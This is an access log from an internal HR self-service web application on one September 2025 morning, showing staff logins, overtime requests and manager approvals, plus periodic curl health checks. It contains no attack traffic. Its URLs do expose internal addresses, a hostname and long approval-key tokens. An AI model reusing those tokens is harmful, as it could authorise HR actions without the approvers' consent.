192.168.11.69 - - [05/Sep/2025:07:43:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:43:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.69 - - [05/Sep/2025:07:43:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:43:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.69 - - [05/Sep/2025:07:43:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.69 - - [05/Sep/2025:07:43:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:43:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.69 - - [05/Sep/2025:07:43:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:43:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:43:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.69 - - [05/Sep/2025:07:44:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6120669930083775 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:44:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6120669930083775 HTTP/1.1" 200 8588
192.168.11.69 - - [05/Sep/2025:07:44:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6120669930083775 HTTP/1.1" 200 14546 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6120669930083775" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:44:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6120669930083775 HTTP/1.1" 200 14546
192.168.11.69 - - [05/Sep/2025:07:44:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:44:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.69 - - [05/Sep/2025:07:44:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.69 - - [05/Sep/2025:07:44:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521
192.168.11.69 - - [05/Sep/2025:07:44:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166235
192.168.11.69 - - [05/Sep/2025:07:44:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166235 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:07:50:43 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:50:43 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:50:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:50:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:51:47 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:51:47 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:52:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:52:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:08:09:55 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFF75D70B2D647AAB22EBC9ABD4DC39DBE0F93AB7718FD56EC8A4C6CDBEBF7AF9F577E56B8C9489F24 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:08:09:55 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFF75D70B2D647AAB22EBC9ABD4DC39DBE0F93AB7718FD56EC8A4C6CDBEBF7AF9F577E56B8C9489F24 HTTP/1.1" 200 -
100.64.0.1 - - [05/Sep/2025:08:09:57 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFF75D70B2D647AAB22EBC9ABD4DC39DBE0F93AB7718FD56EC8A4C6CDBEBF7AF9F577E56B8C9489F24 HTTP/1.1" 200 4166
100.64.0.1 - - [05/Sep/2025:08:09:57 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFF75D70B2D647AAB22EBC9ABD4DC39DBE0F93AB7718FD56EC8A4C6CDBEBF7AF9F577E56B8C9489F24 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:08:09:57 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
100.64.0.1 - - [05/Sep/2025:08:09:57 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFF75D70B2D647AAB22EBC9ABD4DC39DBE0F93AB7718FD56EC8A4C6CDBEBF7AF9F577E56B8C9489F24" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:08:18:43 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:08:18:43 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:08:19:25 +0800] "HEAD /ehr/mgr/batchapprove.php?key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 302 -
100.64.0.1 - - [05/Sep/2025:08:19:25 +0800] "HEAD /ehr/mgr/batchapprove.php?key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 302 - "-" "-"
100.64.0.1 - - [05/Sep/2025:08:19:26 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:08:19:26 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 200 -
192.168.40.68 - - [05/Sep/2025:08:19:28 +0800] "GET /ehr/mgr/batchapprove.php?key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 302 -
192.168.40.68 - - [05/Sep/2025:08:19:28 +0800] "GET /ehr/mgr/batchapprove.php?key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:29 +0800] "GET /ehr/img/pe.png HTTP/1.1" 200 1268
192.168.40.68 - - [05/Sep/2025:08:19:29 +0800] "GET /ehr/img/pe.png HTTP/1.1" 200 1268 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:28 +0800] "GET /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 200 12126
192.168.40.68 - - [05/Sep/2025:08:19:28 +0800] "GET /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 200 12126 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.40.68 - - [05/Sep/2025:08:19:33 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:33 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.40.68 - - [05/Sep/2025:08:19:38 +0800] "POST /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 200 4225 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:38 +0800] "POST /ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7 HTTP/1.1" 200 4225
192.168.40.68 - - [05/Sep/2025:08:19:39 +0800] "GET /ehr/img/Y.png HTTP/1.1" 200 1084
192.168.40.68 - - [05/Sep/2025:08:19:39 +0800] "GET /ehr/img/Y.png HTTP/1.1" 200 1084 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=leave_approve&key=CEFF5FF18D9B3BB1CE851C7E18176992B301D7E064865D7BFC18F9B9C815A8DD5C373FD2B8055B11B4B026ECDE790DC7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:08:19:48 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 302 - "-" "-"
100.64.0.1 - - [05/Sep/2025:08:19:48 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 302 -
100.64.0.1 - - [05/Sep/2025:08:19:49 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:08:19:49 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 200 -
192.168.40.68 - - [05/Sep/2025:08:19:51 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 302 -
192.168.40.68 - - [05/Sep/2025:08:19:51 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 200 22516
192.168.40.68 - - [05/Sep/2025:08:19:51 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 200 22516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:57 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 302 128
192.168.40.68 - - [05/Sep/2025:08:19:57 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403 HTTP/1.1" 302 128 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131077%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131077&target=iframe HTTP/1.1" 302 108
192.168.40.68 - - [05/Sep/2025:08:19:57 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131077%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131077&target=iframe HTTP/1.1" 302 108 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:57 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806
192.168.40.68 - - [05/Sep/2025:08:19:57 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F93337AD252BB382EC60DA755FAA988D3EC054E9B1198BBAF488819BAD338D8180CE5F5B5572C4E403" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.68 - - [05/Sep/2025:08:19:58 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216
100.64.0.1 - - [05/Sep/2025:08:20:30 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:08:20:30 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:08:30:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:08:30:12 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:08:31:50 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:08:31:50 +0800] "GET / HTTP/1.1" 200 439
192.168.11.68 - - [05/Sep/2025:08:34:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 -
192.168.11.68 - - [05/Sep/2025:08:34:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:58 +0800] "GET /eHR/ess HTTP/1.1" 301 241
192.168.11.68 - - [05/Sep/2025:08:34:58 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:34:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
